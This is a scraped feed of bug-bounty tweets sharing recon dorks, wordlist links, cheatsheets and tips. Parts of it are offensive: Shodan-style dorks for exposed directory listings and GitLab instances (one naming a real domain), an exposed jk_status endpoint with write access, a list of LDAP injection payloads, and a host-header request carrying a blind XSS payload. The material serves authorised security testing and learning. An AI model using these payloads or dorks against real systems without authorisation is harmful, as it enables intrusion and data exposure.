MechaInfosec

MT Engineer 👷
Memes Are Love
Aur kyahi bataye ?

[Aditya @ADITYASHENDE17]

Few dorks which I use to find common bugs while testing. Add your so it’ll help others

1. https://t.co/BFlTY4T07n:"*.target. com" http.title:"index of/"

2. https://t.co/BFlTY4T07n:"*.target. com" http.title:"gitlab"

3. https://t.co/BFlTY4T07n:"*.wur.nl" http.title:"gitlab"

[Kanhaiya Sharma @krishnsec]

Juicy wordlists for fuzzing
https://t.co/9QBspDWvn5
https://t.co/ZD3G1m0xSa

Combine both of them | sort -u
#bugbounty

[MechaInfosec @InfosecMecha]

What's the point of @SonyLIV premium while watching the shark tank India 🫠

[Security BSides Ahmedabad @bsidesahmedabad]

🔥🔥 Keynote Talk Alert

🎥 Watch Yassine Aboukir ( @Yassineaboukir ) talk about "Top-Tier Bug Bounty Hunter Mindset" at BSides Ahmedabad 2022

https://t.co/zI5VHmbLve

💻Hack-eat-sleep-repeat

#hacking #infosec #bugbounty #bugbountytips

[PentesterLab @PentesterLab]

Time for another giveaway!

We are going to send a t-shirt and a few goodies to one person who follows @PentesterLab and retweets this tweet!!

And we are going to give a 12-month voucher to someone who follows @PentesterLab and likes this tweet!!

[The Bug Bounty Hunter @tbbhunter]

CVE-2022–42710: A journey through XXE to Stored-XSS

https://t.co/oUnBq0HD4T

[Nicky @Nickieyey]

✨ Here is a hub of Offensive Security Cheatsheet!

Huge collection of useful methodologies, #bugbountytips and resources for #Pentesting, #bugbounty, and #redteam

Check it out:
🔗 https://t.co/T2EJLe8dlY

#infosec #cybersecurity #CyberSec #Ethicalhacking #100DaysOfCode #DFIR

[🇸🇦 Murtada Bin Abdullah (Rood) @0x_rood]

Ok, let’s discuss this

1- fuzz website
2- found this path /jk_status?cmd=dump = dump data
3- search more about this misconfigure
4- found /jk_status?opt=0 = read and write privilege

#BugBounty #bugbountytips

[Abhishek Meena 🏵️ @aacle_]

Bug Bounty automation script v2

#bugbounty #bugbountytip #infosec

See 🧵: 👇

[Abhishek Meena 🏵️ @aacle_]

Here is XSS Bug bounty Report Template
#bugbounty #infosec

➡️ Use this template according to your bug finding by manipulating the template

🔗Check this out :https://t.co/OzayjT2S6m

Check This out : 👇

[Aditya Singh 🇮🇳 @imrook1337]

Check this with OpenAI
https://t.co/OutJIcWWU4
#bugbounty #infosec #OpenAI #recon #bot #discord

[Het Mehta @hetmehtaa]

Advanced-SQL-Injection-Cheatsheet📜

https://t.co/UhxAFqrjI6

#Sql #infosec #bugbountytips #TheSecureEdge

[Abhishek Meena 🏵️ @aacle_]

OAuth 2.0 Explained ! 📌v1
#bugbounty #Infosec

Difficulty : Beginners

See Thread 🧵:👇

[Abhishek Meena 🏵️ @aacle_]

📃Huge Web Recon Checklist🏹
#bugbounty #infosec #recon

See : 👇

[Abhishek Meena 🏵️ @aacle_]

✨Bug Bounty Pro Tip:

➡Escalate everything you find!
#bugbounty #Infosec #hacking

• Don’t report SSRF, Escalate to RCE.
• Don’t report Self-XSS, Chain it with Clickjacking.
• Don’t report Self-Stored XSS, Chain it with CSRF.

More🧵(1/n) : 👇

[Abhishek Meena 🏵️ @aacle_]

Recon Everything v1

#bugbounty #infosec #bugbountytips

• Bug Bounty Hunting Tip #1- Always read the Source Code

How To Approach a Target - Thread🧵:👇

[Abhishek Meena 🏵️ @aacle_]

☝️Download Link : https://t.co/D4tsza9FA4

& #bugbounty #infosec #bugbountygroup

My Bugbounty Tips Group Link : https://t.co/rOrOkVvODl

[mandatory.bsky.social @IAmMandatory]

IMPORTANT: XSS Hunter is being deprecated on February 1st, 2023.

To continue to utilize their https://t.co/2NIEAGb6ED subdomains post-deprecation, all users will have to take some action.

For more information on next steps, please see this FAQ doc: https://t.co/0VACcx3Cr6

[Abhishek Meena 🏵️ @aacle_]

LDAP injection payloads 🔥🔥🔥🔥

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*)
*(|(objectclass=*))
*)(uid=*))(|(uid=*
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

#bugbounty #infosec

[Abhishek Meena 🏵️ @aacle_]

Host header Poisoning #bugbounty #infosec

POST /admin/forgot_password HTTP/1.1
Host: web..com"><img src="Blind XSS Here">